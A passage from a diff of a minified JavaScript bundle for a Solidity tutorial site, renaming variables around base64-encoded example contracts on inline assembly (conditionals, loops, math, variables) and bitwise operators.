                   pragma solidity ^0.8.20;
                   
                  @@ -2973,7 +2973,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,Xy=({prev:s,next:a})=>i.jsx(u,{version:fy,title:Vy,description:vy,html:Ry,prev:s,next:a,codes:Yy}),Hy="0.8.20",Fy="Assembly Conditional Statements",Ny="Example of conditional statements in assembly",Ky=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgZnVuY3Rpb24geXVsX3N3aXRjaCh1aW50IHgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3dpdGNoIHgKICAgICAgICAgICAgY2FzZSAxIHsKICAgICAgICAgICAgICAgIHogOj0gMTAKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXNlIDIgewogICAgICAgICAgICAgICAgeiA6PSAyMAogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgeiA6PSAwCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],Sy=`

                  Example of conditional statements in assembly

                  +`,Ny=({prev:s,next:a})=>i.jsx(u,{version:Yy,title:Ry,description:Xy,html:Fy,prev:s,next:a,codes:Hy}),Ky="0.8.20",Sy="Assembly Conditional Statements",xy="Example of conditional statements in assembly",My=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgZnVuY3Rpb24geXVsX3N3aXRjaCh1aW50IHgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3dpdGNoIHgKICAgICAgICAgICAgY2FzZSAxIHsKICAgICAgICAgICAgICAgIHogOj0gMTAKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXNlIDIgewogICAgICAgICAgICAgICAgeiA6PSAyMAogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgeiA6PSAwCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],Jy=`

                  Example of conditional statements in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                   
                  @@ -3003,7 +3003,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,xy=({prev:s,next:a})=>i.jsx(u,{version:Hy,title:Fy,description:Ny,html:Sy,prev:s,next:a,codes:Ky}),My="0.8.20",Jy="Assembly Loop",zy="Example of loop in assembly",Ey=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHl1bF93aGlsZV9sb29wKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgaSA6PSAwCiAgICAgICAgICAgIGZvciB7fSBsdChpLCA1KSB7fSB7CiAgICAgICAgICAgICAgICBpIDo9IGFkZChpLCAxKQogICAgICAgICAgICAgICAgeiA6PSBhZGQoeiwgMSkKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQ=="}],Ly=`

                  Example of loop in assembly

                  +`,zy=({prev:s,next:a})=>i.jsx(u,{version:Ky,title:Sy,description:xy,html:Jy,prev:s,next:a,codes:My}),Ey="0.8.20",Ly="Assembly Loop",Qy="Example of loop in assembly",_y=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHl1bF93aGlsZV9sb29wKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgaSA6PSAwCiAgICAgICAgICAgIGZvciB7fSBsdChpLCA1KSB7fSB7CiAgICAgICAgICAgICAgICBpIDo9IGFkZChpLCAxKQogICAgICAgICAgICAgICAgeiA6PSBhZGQoeiwgMSkKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQ=="}],Uy=`

                  Example of loop in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                   
                  @@ -3026,7 +3026,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,Qy=({prev:s,next:a})=>i.jsx(u,{version:My,title:Jy,description:zy,html:Ly,prev:s,next:a,codes:Ey}),_y="0.8.20",Uy="Assembly Math",Ty="Example of math in assembly",Dy=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQgeCwgdWludCB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHl1bF9tdWwodWludCB4LCB1aW50IHkpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3dpdGNoIHgKICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSAwIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICB6IDo9IG11bCh4LCB5KQogICAgICAgICAgICAgICAgaWYgaXN6ZXJvKGVxKGRpdih6LCB4KSwgeSkpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gUm91bmQgdG8gbmVhcmVzdCBtdWx0aXBsZSBvZiBiCiAgICBmdW5jdGlvbiB5dWxfZml4ZWRfcG9pbnRfcm91bmQodWludCB4LCB1aW50IGIpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gYiA9IDEwMAogICAgICAgICAgICAvLyB4ID0gOTAKICAgICAgICAgICAgLy8geiA9IDkwIC8gMTAwICogMTAwID0gMCwgd2FudCB6ID0gMTAwCiAgICAgICAgICAgIC8vIHogOj0gbXVsKGRpdih4LCBiKSwgYikKICAgICAgICAgICAgCiAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKQogICAgICAgICAgICB6IDo9IGFkZCh4LCBoYWxmKQogICAgICAgICAgICB6IDo9IG11bChkaXYoeiwgYiksIGIpCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyBoYWxmID0gNTAKICAgICAgICAgICAgLy8geiA9IDkwICsgNTAgPSAxNDAKICAgICAgICAgICAgLy8geiA9IDE0MCAvIDEwMCAqIDEwMCA9IDEwMAogICAgICAgIH0KICAgIH0KfQ=="}],Oy=`

                  Example of math in assembly

                  +`,Ty=({prev:s,next:a})=>i.jsx(u,{version:Ey,title:Ly,description:Qy,html:Uy,prev:s,next:a,codes:_y}),Dy="0.8.20",Oy="Assembly Math",Py="Example of math in assembly",$y=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQgeCwgdWludCB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHl1bF9tdWwodWludCB4LCB1aW50IHkpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3dpdGNoIHgKICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSAwIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICB6IDo9IG11bCh4LCB5KQogICAgICAgICAgICAgICAgaWYgaXN6ZXJvKGVxKGRpdih6LCB4KSwgeSkpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gUm91bmQgdG8gbmVhcmVzdCBtdWx0aXBsZSBvZiBiCiAgICBmdW5jdGlvbiB5dWxfZml4ZWRfcG9pbnRfcm91bmQodWludCB4LCB1aW50IGIpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gYiA9IDEwMAogICAgICAgICAgICAvLyB4ID0gOTAKICAgICAgICAgICAgLy8geiA9IDkwIC8gMTAwICogMTAwID0gMCwgd2FudCB6ID0gMTAwCiAgICAgICAgICAgIC8vIHogOj0gbXVsKGRpdih4LCBiKSwgYikKICAgICAgICAgICAgCiAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKQogICAgICAgICAgICB6IDo9IGFkZCh4LCBoYWxmKQogICAgICAgICAgICB6IDo9IG11bChkaXYoeiwgYiksIGIpCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyBoYWxmID0gNTAKICAgICAgICAgICAgLy8geiA9IDkwICsgNTAgPSAxNDAKICAgICAgICAgICAgLy8geiA9IDE0MCAvIDEwMCAqIDEwMCA9IDEwMAogICAgICAgIH0KICAgIH0KfQ=="}],qy=`

                  Example of math in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                   
                  @@ -3067,7 +3067,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,Py=({prev:s,next:a})=>i.jsx(u,{version:_y,title:Uy,description:Ty,html:Oy,prev:s,next:a,codes:Dy}),$y="0.8.20",qy="Assembly Variable",sm="Example of how to declare variable inside assembly",am=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],nm=`

                  Example of how to declare variables inside assembly

                  +`,sm=({prev:s,next:a})=>i.jsx(u,{version:Dy,title:Oy,description:Py,html:qy,prev:s,next:a,codes:$y}),am="0.8.20",nm="Assembly Variable",lm="Example of how to declare variable inside assembly",pm=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],em=`

                  Example of how to declare variables inside assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                   
                  @@ -3081,7 +3081,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,lm=({prev:s,next:a})=>i.jsx(u,{version:$y,title:qy,description:sm,html:nm,prev:s,next:a,codes:am}),pm="0.8.20",em="Bitwise Operators",cm="Learn about bitwise operators in Solidity",tm=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludCB4LCB1aW50IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgL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gcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gMSA8PCBuID0gMiAqKiBuCiAgICAgICAgcmV0dXJuIHggJSAoMSA8PCBuKTsKICAgIH0KCiAgICAvLyBHZXQgcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQKICAgIC8vIHggPSAxMTAwID0gMTAsIG1vc3Qgc2lnbmlmaWNhbnQgYml0ID0gMTAwMCwgc28gdGhpcyBmdW5jdGlvbiB3aWxsIHJldHVybiAzCiAgICBmdW5jdGlvbiBtb3N0U2lnbmlmaWNhbnRCaXQodWludCB4KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICB1aW50IGkgPSAwOwogICAgICAgIHdoaWxlICgoeCA+Pj0gMSkgPiAwKSB7CiAgICAgICAgICAgICsraTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGk7CiAgICB9CgogICAgLy8gR2V0IGZpcnN0IG4gYml0cyBmcm9tIHgKICAgIC8vIGxlbiA9IGxlbmd0aCBvZiBiaXRzIGluIHggPSBwb3NpdGlvbiBvZiBtb3N0IHNpZ25pZmljYW50IGJpdCBvZiB4LCArIDEKICAgIGZ1bmN0aW9uIGdldEZpcnN0TkJpdHModWludCB4LCB1aW50IG4sIHVpbnQgbGVuKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyBFeGFtcGxlCiAgICAgICAgLy8geCAgICAgICAgPSAxMTEwID0gMTQsIG4gPSAyLCBsZW4gPSA0CiAgICAgICAgLy8gbWFzayAgICAgPSAxMTAwID0gMTIKICAgICAgICAvLyB4ICYgbWFzayA9IDExMDAgPSAxMgogICAgICAgIHVpbnQgbWFzayA9ICgoMSA8PCBuKSAtIDEpIDw8IChsZW4gLSBuKTsKICAgICAgICByZXR1cm4geCAmIG1hc2s7CiAgICB9Cn0K"},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCBtc2IpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg3LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgLy8gb3IgY2FuIGJlIHJlcGxhY2VkIHdpdGggYWRkCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDYsIGd0KHgsIDB4RkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDUsIGd0KHgsIDB4RkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg0LCBndCh4LCAweEZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCgzLCBndCh4LCAweEZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMiwgZ3QoeCwgMHhGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMSwgZ3QoeCwgMHgzKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBndCh4LCAweDEpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgfQp9Cg=="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50IG1zYikgewogICAgICAgIC8vIHggPj0gMiAqKiAxMjgKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgewogICAgICAgICAgICB4ID4+PSAxMjg7CiAgICAgICAgICAgIG1zYiArPSAxMjg7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiA2NAogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gNjQ7CiAgICAgICAgICAgIG1zYiArPSA2NDsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDMyCiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMzI7CiAgICAgICAgICAgIG1zYiArPSAzMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDE2CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMCkgewogICAgICAgICAgICB4ID4+PSAxNjsKICAgICAgICAgICAgbXNiICs9IDE2OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogOAogICAgICAgIGlmICh4ID49IDB4MTAwKSB7CiAgICAgICAgICAgIHggPj49IDg7CiAgICAgICAgICAgIG1zYiArPSA4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNAogICAgICAgIGlmICh4ID49IDB4MTApIHsKICAgICAgICAgICAgeCA+Pj0gNDsKICAgICAgICAgICAgbXNiICs9IDQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAyCiAgICAgICAgaWYgKHggPj0gMHg0KSB7CiAgICAgICAgICAgIHggPj49IDI7CiAgICAgICAgICAgIG1zYiArPSAyOwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMQogICAgICAgIGlmICh4ID49IDB4MikgbXNiICs9IDE7CiAgICB9Cn0K"}],om=`
                  // SPDX-License-Identifier: MIT
                  +
                  `,cm=({prev:s,next:a})=>i.jsx(u,{version:am,title:nm,description:lm,html:em,prev:s,next:a,codes:pm}),tm="0.8.20",om="Bitwise Operators",rm="Learn about bitwise operators in Solidity",im=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludCB4LCB1aW50IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiA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ChsZW4gLSBuKTsKICAgICAgICByZXR1cm4geCAmIG1hc2s7CiAgICB9Cn0K"},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCBtc2IpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg3LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgLy8gb3IgY2FuIGJlIHJlcGxhY2VkIHdpdGggYWRkCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDYsIGd0KHgsIDB4RkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDUsIGd0KHgsIDB4RkZGRkZGRkYp